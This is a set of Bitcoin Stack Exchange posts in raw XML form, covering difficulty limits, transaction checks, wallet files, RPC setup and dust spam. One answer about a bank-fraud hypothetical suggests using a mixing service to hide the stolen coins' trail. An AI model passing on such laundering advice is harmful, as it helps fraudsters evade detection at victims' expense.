  <row Id="22378" PostTypeId="1" AcceptedAnswerId="22381" CreationDate="2014-02-18T16:08:09.713" Score="0" ViewCount="113" Body="&lt;p&gt;first and foremost I never read the bitcoin source code (I can't read any C) and I was wondering if Bitcoin, and any other crypto currency follow that they have data limits such as a maximum value of a long int is 4,294,967,295. If that case is true what would happen when the difficulty goes above the long int value. Hopefully this makes sense in how I worded it.&lt;/p&gt;&#xA;" OwnerUserId="13388" LastActivityDate="2014-02-18T17:05:10.477" Title="Data type limit boundary in difficulty" Tags="|difficulty|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22380" PostTypeId="1" CreationDate="2014-02-18T16:39:41.493" Score="1" ViewCount="85" Body="&lt;p&gt;Edit: In this question I'm looking at storage advantages, and network bandwidth savings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the TxID and BlockID uses SHA256 to uniquely identify a transaction (and block) is there any reason that RIPEMD shouldn't be used in a brand new/different alt-coin?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-02-19T01:04:23.827" LastActivityDate="2014-02-19T01:04:23.827" Title="In a perfect world, should RIPE160 be used as the block ID or transaction ID?" Tags="|transactions|alternatives|sha256|ripemd160|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22381" PostTypeId="2" ParentId="22378" CreationDate="2014-02-18T17:01:00.553" Score="0" Body="&lt;p&gt;Of course they make use of these datatypes. They have to because it is how the CPU is constructed, the CPU and its instruction set architecture (ISA) work with fixed amounts of memory. This can be different per instruction, but can not be arbitrary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to perform arithmetic on arbitrary sized words, your only option is a software approach called a BigNum library. Bitcoin uses a BigNum library too (I believe some Boost stuff, but correct if I'm wrong). Examples include but are not limited to: &lt;a href=&quot;https://gmplib.org&quot; rel=&quot;nofollow&quot;&gt;GMP&lt;/a&gt;, &lt;a href=&quot;http://docs.oracle.com/javase/6/docs/api/java/math/BigInteger.html&quot; rel=&quot;nofollow&quot;&gt;Java's BigInterger class&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-02-18T17:01:00.553" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22382" PostTypeId="2" ParentId="22378" CreationDate="2014-02-18T17:05:10.477" Score="0" Body="&lt;p&gt;The difficulty is determined by a 256 bit target. Miners must find a hash for the block that is below this target. The target decreases or increases to adapt to the desired block time (10 minutes in the case of Bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pools usually calculate difficulty as a float for their stats because it doesn't need to be very precise. The actual difficulty is determined by the 256 bit target.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-18T17:05:10.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22383" PostTypeId="1" AcceptedAnswerId="22411" CreationDate="2014-02-18T17:17:10.543" Score="1" ViewCount="268" Body="&lt;p&gt;I'm using wallet-less bitcoin daemon (it just syncs blockchain) – the purpose is to read blocks and transactions in them, and do some useful things. This particular question is focused on determining the checks to be made to verify the amount received by each address in a given transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given tx, I call decoderawtransaction(getrawtransaction(tx)) and receive following details (json):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;txid&quot; : &quot;691cb3d61192c7325f203fe14d3d5cf6e98e6bd81877b166f6c37fd629aaa4fb&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;0c0b442e866f007a0da8a2c1abbe8afad8e96217105b561b097aa835b73a6b70&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100eb01c02b4655c96b08544908bd44d1fbc165971bdc25705ba1b4790c60716dfa022024adeb306f66a72a2a90455035940b89e7c96c8300b6f73f3ae83af605b9c35d01 03ca8ff2ad5114e703d07b3cee962d54609c1de95fd4511e53de91ba0ce35ef4ee&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100eb01c02b4655c96b08544908bd44d1fbc165971bdc25705ba1b4790c60716dfa022024adeb306f66a72a2a90455035940b89e7c96c8300b6f73f3ae83af605b9c35d012103ca8ff2ad5114e703d07b3cee962d54609c1de95fd4511e53de91ba0ce35ef4ee&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.01000000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 8bab392bcc5cfce30affc16336cdd68e807147a2 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a9148bab392bcc5cfce30affc16336cdd68e807147a288ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;mtFTLXKfDxHuJT36cHugYTZw5CVLejqccq&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.04000000,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 d86064ea608dd1ceeae690e548979b854ca55360 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914d86064ea608dd1ceeae690e548979b854ca5536088ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;n1F3j5MdfSLSgpUnaQXNVJb8KBMvnfBYPr&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see each txout record gives amount as a value (scalar) and addresses as an array. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If addresses array has multiple values, it is a contract (m-to-n transaction perhaps) and I should not consider the money to have been received by any of the  addresses for immediate spend.&lt;/li&gt;&#xA;&lt;li&gt;Assuming addresses has only one value, what are other checks I must make to verify that the address has received the amount mentioned in the field 'value'?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I need to know a set of all checks to verify the transaction is confirmed, valid and that a particular address in a particular txout has received the specified amount. confirmation can be ascertained depending on the number of blocks that precede block of this transaction (getblockcount - blockheight).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13615" LastActivityDate="2014-02-19T04:57:59.323" Title="Checks to Verify money sent to any address in a transaction" Tags="|transactions|blockchain|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22384" PostTypeId="1" CreationDate="2014-02-18T17:29:45.043" Score="4" ViewCount="1734" Body="&lt;p&gt;I mean something where just participation in the decentralized network gives you coins somehow and you cannot do anything beyond (excluding more participation, of course, by having multiple PCs and IPs, for example) to increase the rate of achieving those coins. At the moment I have completely no motivation to leave my bitcoin or litecoin client on, because it doesn't gives me anything back for using me as a node in this network of hardcore miners. I'd rather find some ways to use it occasionally only when I need to do some transactions (few times a month, for example). I'm newbie in this topic, but doesn't this harm the network, when lot of people become using it this way?&lt;/p&gt;&#xA;" OwnerUserId="13534" LastActivityDate="2014-08-11T21:38:38.797" Title="Are there any cryptocurrencies with no mining beyond participation?" Tags="|alternatives|synchronization|altcoin|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22385" PostTypeId="2" ParentId="22380" CreationDate="2014-02-18T17:31:52.680" Score="1" Body="&lt;p&gt;The malleability problem is not with the hashing function, but with what is being hashed (or not). The hashed data is malleable, not the hash directly.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-02-18T17:31:52.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22386" PostTypeId="1" AcceptedAnswerId="22417" CreationDate="2014-02-18T17:35:14.400" Score="3" ViewCount="511" Body="&lt;p&gt;One of the big selling points for Bitcoin is that transactions are frictionless.  I understand this to mean that there is no middleman to take a cut.  However, there are 2 major frictions I see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Clients are difficult to use for &quot;non-techies&quot;.  This can easily be solved with better clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Transaction confirmation times can take 10 to 60 minutes.  This seems like major &quot;friction&quot; in that it prevents fast transactions - something most people are really used to with cash and plastic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is Bitcoin really frictionless?&lt;/p&gt;&#xA;" OwnerUserId="13303" LastEditorUserId="5406" LastEditDate="2016-08-02T06:02:36.927" LastActivityDate="2016-08-02T06:02:36.927" Title="Are Bitcoin transactions really &quot;frictionless&quot; given confirmation time?" Tags="|transactions|confirmations|adoption|face-to-face-payment|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22387" PostTypeId="2" ParentId="22386" CreationDate="2014-02-18T18:08:33.177" Score="3" Body="&lt;p&gt;For small amounts it's fine to accept unconfirmed transactions. You must really understand how the protocol works to be able to double-spend an unconfirmed transaction. I'm sure in the future hackers will build tools to allow for these sort of scenarios to benefit them, but also bitcoin clients will grow more secure and be able to diminish the propagation of a double-spend in the network, perhaps using trusted central entities that can propagate your transaction much quicker than the attacker could propagate their double-spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm selling something for lots of bitcoins, yes I'd wait at least 10 minutes. But if you compare this to selling something for cash, you'd still need the time to sit down and count the money and make sure it's real and that you're not being scammed. This could take you more than 10 minutes and you'd probably need to do it in a private area. With bitcoin you can do it in any public place using your phone, and instead of using the 10 minutes to check whether you're being scammed, you can have a friendly conversation with the person you're doing business with.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-18T18:08:33.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22388" PostTypeId="1" AcceptedAnswerId="22394" CreationDate="2014-02-18T18:16:17.580" Score="0" ViewCount="161" Body="&lt;p&gt;Is there any validation service that tests/validates/vets wallet implementations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use bitcoin-qt on the desktop and I'm not worried about that wallet, I assume it's been well vetted, but if I were to get a wallet for my (Android) phone, is there a way I can be assured the implementation is correct, secure, and not malevolent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added elaboration: It seems feasible for a trusted 3rd party to be in the business of validating wallet implementations. Wallet implementers would submit their implementation to the service, the service would run the wallet through a test suite, examine the code, etc. and if the implementation passed the service would publish a hash of the wallet. When you get a copy of the wallet implementation you could check its hash and against the published hash so you'd know it hasn't been tampered with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise an online wallet service (Mt. Gox) could submit its implementation for 3rd party validation to increase its trust factor.&lt;/p&gt;&#xA;" OwnerUserId="11495" LastEditorUserId="11495" LastEditDate="2014-02-18T18:39:38.477" LastActivityDate="2014-02-18T20:46:36.250" Title="bitcoin wallet validation/vetting" Tags="|wallet|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22389" PostTypeId="2" ParentId="22388" CreationDate="2014-02-18T18:22:15.560" Score="1" Body="&lt;p&gt;Short answer: no. Imagine this scenario: a developer writes a closed-source Android wallet that becomes extremely popular. At some point the combined worth of the user wallets is $100M. The developer could have purposely left an open vulnerability, and claimed that a hacker exploited it. There would be no way to know if he was telling the truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rule of thumb: keep the bulk of your BTC in cold storage. Online wallets should be treated like the wallet in your pocket. How much cash are you comfortable carrying around, knowing that you could lose your wallet and it's gone? That's how much you should have in an online wallet.&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-18T18:22:15.560" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22391" PostTypeId="1" CreationDate="2014-02-18T19:37:39.797" Score="1" ViewCount="906" Body="&lt;p&gt;I want to make some test on testnet using the API and I would like to fetch datas from a remote computer. &#xA;The client is on raspberry which has an internal IP,than I have a dyndns address which pings my router on a given port(3400) -&gt; from router I redirect the request to raspberry PI's IP with clients port for API calls(192.168.178.40:8332) and I have this in my &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=192.168.178.40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I get 403 status code&lt;/p&gt;&#xA;" OwnerUserId="13558" LastActivityDate="2018-07-12T11:28:20.577" Title="call bitcoin API from Remote PC" Tags="|bitcoind|api|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22392" PostTypeId="1" AcceptedAnswerId="22409" CreationDate="2014-02-18T19:53:27.063" Score="0" ViewCount="1173" Body="&lt;p&gt;my situation is the following: I have a laptop with not much space on disk and therefore using bitcoin on a stick (I start bitcoin-qt with the argument &quot;-datadir=location/to/stick). Now I wanted to transfer some bitcoins from my mobile phone to that account. Accidentaly I typed in a wrong directory (which doesnt exist) and bitcoin-qt lead me to the standard bitcoin directory (which is ~/.bitcoin). I didn't realize this and transferred the bitcoins to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to change the wallet.dat file from the ~/.bitcoin/ directory with the wallet.dat file from the directory on my stick, because my stick has all the blockchain already loaded. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;simply changing the wallet.dat files: when I now start bitcoin-qt it goes in a very very long loop (probably even an endless-loop). It just says &quot;Dursuche erneut...&quot; (german), what means translated: &quot;Researching...&quot;&lt;/li&gt;&#xA;&lt;li&gt;doing the above, but with the additional argument &quot;-rescan&quot; (&quot;bitcoin-qt -rescan -datadir=/location/of/stick&quot;): it happens the same as above&lt;/li&gt;&#xA;&lt;li&gt;trying to backup the relevant wallet.dat file inside the console of bitcoin-qt: when trying to back it up i get the error: &quot;Error: Wallet backup failed! (code: -4)&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this problem? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I wanted to rewrite my problem in another (probably easier understandable) way: I would like to overwrite the wallet.dat file inside the ~/.bitcoin/ folder. But doing so, bitcoin-qt doesnt stop loading (it just says &quot;Researching...&quot;. Is there another way to do what I want?&lt;/p&gt;&#xA;" OwnerUserId="13619" LastEditorUserId="13619" LastEditDate="2014-02-18T20:33:36.153" LastActivityDate="2014-07-04T11:07:14.400" Title="I want to use another wallet.dat file with bitcoin-qt. Is this possible?" Tags="|wallet|bitcoin-core|backup|linux|wallet.dat|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22394" PostTypeId="2" ParentId="22388" CreationDate="2014-02-18T20:46:36.250" Score="1" Body="&lt;p&gt;It is pretty much impossible to verify 100% if an implementation is correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for example &lt;a href=&quot;https://backdoorhiding.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;https://backdoorhiding.appspot.com/&lt;/a&gt; or &quot;The Underhanded C Contest&quot; at &lt;a href=&quot;http://underhanded.xcott.com/&quot; rel=&quot;nofollow&quot;&gt;http://underhanded.xcott.com/&lt;/a&gt; - in both of these, people compete to write code that looks secure, but isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, there are theories that the NSA has put back doors in various random number generators, even open-source ones. It is, however, very difficult to test this theory. &lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-02-18T20:46:36.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22395" PostTypeId="1" AcceptedAnswerId="22398" CreationDate="2014-02-18T20:47:47.197" Score="1" ViewCount="211" Body="&lt;p&gt;If I make a lot of little transactions, sending and receiving various odd small amounts (like 0.00201, 0.00319), does this make lots of little dust bits in my wallet?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2014-02-19T02:44:14.487" Title="Am I making a lot of dust in my wallet?" Tags="|wallet|dust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22396" PostTypeId="2" ParentId="10472" CreationDate="2014-02-18T21:04:53.767" Score="0" Body="&lt;p&gt;It's totally possible that they have used hardware which they sold to customers for their own mining operation.  Your gear may very well have gone to a warehouse somewhere for &quot;testing&quot;.  Once there's very little value left they ship it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be unethical and likely illegal but by far the most profitable thing to do in their position.  I would challenge BFL to prove they haven't done this by making their factory shipping manifests and bills of lading public.&lt;/p&gt;&#xA;" OwnerUserId="10726" LastActivityDate="2014-02-18T21:04:53.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22398" PostTypeId="2" ParentId="22395" CreationDate="2014-02-18T21:23:35.217" Score="3" Body="&lt;p&gt;Yep. You'll notice increased fees and confirmation times eventually. Those amounts aren't super dusty though, even smaller transactions are the ones that will really bog you down.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-02-19T02:44:14.487" LastActivityDate="2014-02-19T02:44:14.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22399" PostTypeId="2" ParentId="22391" CreationDate="2014-02-18T21:25:59.997" Score="0" Body="&lt;p&gt;HTTP 403 is &quot;forbidden&quot;. You need to set &lt;code&gt;rpcallowip&lt;/code&gt; to allow incoming connections, and also the ssl options to prevent people from sniffing your password and walking away with your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a full Bitcoin node on a Raspberry Pi is foolish anyway, it will never keep up properly with the blockchain and cause you a variety of speed and IO related issues. The SD card will likely die within a few days due to the heavy cycles. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-18T21:25:59.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22401" PostTypeId="1" CreationDate="2014-02-18T21:32:36.803" Score="2" ViewCount="413" Body="&lt;p&gt;Settle an argument for me.&#xA;Assume a criminal does the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: goes thru trash to find a cancelled check&#xA;2: using a wifi hotspot like McDonald's and &quot;Hide my ass&quot; buys bitcoins with stolen bank info&#xA;3: sells bitcoins and transfers money to his personal account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which step does he get caught?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My friends says he gets away with it, I say he gets caught when he sells them. Who's right?&lt;/p&gt;&#xA;" OwnerUserId="13624" LastActivityDate="2022-09-16T07:15:55.653" Title="At what point does the criminal get caught?" Tags="|security|legal|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22402" PostTypeId="2" ParentId="22401" CreationDate="2014-02-18T21:58:05.700" Score="4" Body="&lt;p&gt;Most sites that sell Bitcoin for cash require more information than just &quot;bank info&quot; in order to run the transaction.  So the scenario you outlined is not quite complete for the purposes of &quot;not getting caught&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6261" LastActivityDate="2014-02-18T21:58:05.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22403" PostTypeId="2" ParentId="22401" CreationDate="2014-02-18T22:17:11.110" Score="3" Body="&lt;p&gt;Assuming the criminal has enough information to complete step (2) successfully (complying with regulatory/identification requirements using a stolen identity, probably not just a bank account number), then the probability of getting caught &lt;em&gt;through the bitcoin transactions alone&lt;/em&gt; is low. For further dissociation, the criminal could send the newly-purchased coins to a mixing service before transferring them into his own wallet.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-18T22:17:11.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22404" PostTypeId="1" AcceptedAnswerId="22414" CreationDate="2014-02-18T22:44:17.003" Score="4" ViewCount="675" Body="&lt;p&gt;I recently read the following thing on &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1xl6x2/psa_did_you_receive_a_dust_amount_of_btc_from/&quot; rel=&quot;nofollow&quot;&gt;reddit&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The two transactions for .00000001 BTC are a malicious spam attack.&#xA;  They were sent without fees, which means that if you wallet doesn't&#xA;  allow you to choose specific outputs your balance is tied up until&#xA;  those transactions confirm.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Surely this is a spam (although I can not understand what is advertised), but I can not understand how is it a &lt;strong&gt;malicious&lt;/strong&gt; attack. What exactly can be achieved by this attack?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="2306" LastEditDate="2014-09-12T16:25:58.070" LastActivityDate="2014-09-12T16:25:58.070" Title="Why is Enjoy Sochi a malicious spam attack" Tags="|weaknesses|spam|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22408" PostTypeId="2" ParentId="22386" CreationDate="2014-02-19T01:10:45.680" Score="2" Body="&lt;p&gt;According to 2), you are correct: Bitcoin is not frictionless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmation times cost even if a transaction didn't occur because the time due to confirmation time is too high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low confirmation time coins in turn have less of this cost.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-02-19T01:10:45.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22409" PostTypeId="2" ParentId="22392" CreationDate="2014-02-19T04:24:27.987" Score="0" Body="&lt;p&gt;You're on the right track -- in fact you're already using the correct command line switch, which is &quot;-rescan&quot;.  But your mistake is thinking this is a quick solution.  It's not.  Rescanning the blockchain will take &lt;em&gt;hours&lt;/em&gt;, depending on your processor speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a task you'll want to leave running overnight.  If the problem persists even then, record the error message you get once the rescanning has completed, and ask another question with that error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your next option would probably be to actually transfer the Bitcoins using a tool like pywallet, but I'd wait until you've left this rescanning overnight before you try that, and seek guidance on how to use pywallet.&lt;/p&gt;&#xA;" OwnerUserId="3212" LastActivityDate="2014-02-19T04:24:27.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22410" PostTypeId="1" AcceptedAnswerId="22425" CreationDate="2014-02-19T04:56:41.257" Score="2" ViewCount="1711" Body="&lt;p&gt;Im running *coind on my local ubuntu box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that &quot;*coind getbalance [account]&quot; will get me the total balance of a user account. And thats good and that works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the balance of a individual users wallet (assuming they have more than 1 wallet associated with their account). For example, I have Wallet 1 with 10 coins and Wallet 2 with 20 coins for a total balance of 30 coins. How do I check the balance of the individual wallet (wallet 1 or wallet 2)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont see any commands to view an individual addresses balance.&lt;/p&gt;&#xA;" OwnerUserId="12920" LastActivityDate="2014-02-19T14:01:33.290" Title="How to get coin address balance from *coind server?" Tags="|bitcoind|bitcoin-core-accounts|balance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22411" PostTypeId="2" ParentId="22383" CreationDate="2014-02-19T04:57:59.323" Score="1" Body="&lt;p&gt;So you're asking for 3 things: confirmed, valid and that a particular address in a particular txout has received the specified amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Confirmed:&lt;/strong&gt; You've already worked this out.  If getblockcount - blockheight &gt; 0 then the tx has at least 1 confirmation, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Valid:&lt;/strong&gt;  Tx are confirmed in two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;by validating nodes (full Bitcoin nodes like bitcoin-qt).  Each time a tx is broadcast across full peers, it is validated.&lt;/li&gt;&#xA;&lt;li&gt;by the network.  This network validation occurs when the network agrees that the block containing the tx is valid, which occurs first time at 1 confirmation and increases in confidence with each additional confirmation.  Being included in a mined block also means that (1) above has occurred at least once (probably much more).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if you're only considering confirmed Bitcoin transactions, they've already been fully validated by the network and its nodes, so you don't have to do this yourself.  &lt;em&gt;This does not necessarily apply to unconfirmed transactions&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Particular address has received specified amount:&lt;/strong&gt;  There are rules of thumb here, but to be absolutely sure about this last item, you have to consider the tx script.  Fortunately, all this entails for most transactions is checking for &lt;code&gt;OP_DUP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the relevant part (for you) of the script contained in the scriptPubKey.  As long as it contains this text, you can be sure it's a simple payment in the amount specified to the address specified, regardless of whether it is change or whatever.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;scriptPubKey&lt;/code&gt; contains something else, then you'll need to actually parse the script to figure out the tx details.  How to do this is beyond the scope of this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in brief, to fulfill all your conditions, you need to wait for 1 confirmation and check for the exact &lt;code&gt;scriptPubKey&lt;/code&gt; text shown above, or else be prepared t ofully parse the script in the case of a complex contract.&lt;/p&gt;&#xA;" OwnerUserId="3212" LastActivityDate="2014-02-19T04:57:59.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22413" PostTypeId="2" ParentId="22410" CreationDate="2014-02-19T06:36:43.917" Score="1" Body="&lt;p&gt;You can type '&lt;strong&gt;bitcoind help&lt;/strong&gt;' to get the available commands. You can also type '&lt;strong&gt;bitcoind help&lt;/strong&gt; &lt;em&gt;command&lt;/em&gt;' to get more information about the command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find your balance in multiple ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;getbalance&lt;/strong&gt;: returns the balance of your wallet.dat as a number, you can specify an account (if set) in quotes to get information for a specific account, the default account is '' (blank)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;getinfo&lt;/strong&gt;: returns an array of information about your bitcoind, including balance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;listunspent&lt;/strong&gt;: returns an array unspent outputs sent to addresses in your wallet.dat, you can put an address in quotes to get information for a specific address&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-19T06:36:43.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22414" PostTypeId="2" ParentId="22404" CreationDate="2014-02-19T06:44:51.553" Score="4" Body="&lt;p&gt;The transactions will likely never be included in a block, as they do not meet the defacto bitcoin transactions rules for transactions sent without a fee, detailed here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A transaction may be safely sent without fees if these conditions are&#xA;  met:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is smaller than 1,000 bytes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All outputs are 0.01 BTC or larger.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Its priority is large enough (see the Technical Info section below)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;*Copied from &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Sending&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees#Sending&lt;/a&gt;*&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the transactions fail to meet the criteria to be included in a block for free (which is already getting rare), the transaction will likely be rejected on most/all mining pools, though may be rebroadcast by the sender or the receiver. The transactions may remain unconfirmed for a long time, unless the sender double spends his inputs, nullifying the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack is similar to a ddos on the bitcoin network, as the transactions propagate through the nodes which accept and relay the transactions. This does not cause issues with the '7 transactions per second rule' as the transactions will likely not get into a block, but may cause latency if enough of these transactions are broadcast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's more of a pester than a malicious attack.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-19T06:44:51.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
